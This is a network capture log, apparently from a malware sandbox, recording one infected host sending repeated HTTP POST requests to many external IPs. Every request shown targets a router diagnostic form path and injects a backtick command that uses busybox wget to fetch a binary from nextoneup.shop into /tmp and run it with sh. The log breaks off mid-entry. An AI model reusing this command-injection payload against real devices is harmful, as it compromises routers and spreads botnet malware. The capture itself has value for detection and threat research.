Session ID	Source IP	Source Port	Destination IP	Destination Port
2308	192.168.2.13	37360	79.152.240.97	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372051001 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2309	192.168.2.13	44930	118.152.23.241	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372061014 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2310	192.168.2.13	39064	123.103.235.48	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372092009 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2311	192.168.2.13	37064	212.87.138.57	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372103930 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2312	192.168.2.13	36224	109.155.82.177	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372143030 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2313	192.168.2.13	35326	123.110.38.98	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372143030 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2314	192.168.2.13	48300	178.160.183.196	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372173071 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2315	192.168.2.13	34572	2.175.233.34	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372193098 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2316	192.168.2.13	32896	148.94.168.205	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372195005 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2317	192.168.2.13	54420	118.89.146.170	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372242928 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2318	192.168.2.13	52174	123.153.167.190	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372265100 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2319	192.168.2.13	35958	2.94.53.18	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372266054 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2320	192.168.2.13	48524	210.108.154.63	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372306108 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2321	192.168.2.13	50810	37.13.138.15	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372338057 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2322	192.168.2.13	39190	117.221.56.4	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372338057 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2323	192.168.2.13	41850	210.9.116.44	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372355938 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2324	192.168.2.13	50300	210.14.178.0	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372373104 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2325	192.168.2.13	45240	202.94.197.76	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372389078 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2326	192.168.2.13	50122	94.74.255.172	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372406006 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2327	192.168.2.13	33974	94.203.124.130	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372400045 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2328	192.168.2.13	43376	42.184.86.4	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372400999 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2329	192.168.2.13	50304	202.68.193.34	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372422934 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2330	192.168.2.13	55062	79.247.146.141	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372473955 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2331	192.168.2.13	52548	2.156.82.83	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372493029 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2332	192.168.2.13	35392	178.249.254.19	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372528076 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2333	192.168.2.13	41086	79.133.224.226	443

Timestamp	Bytes transferred	Direction	Data
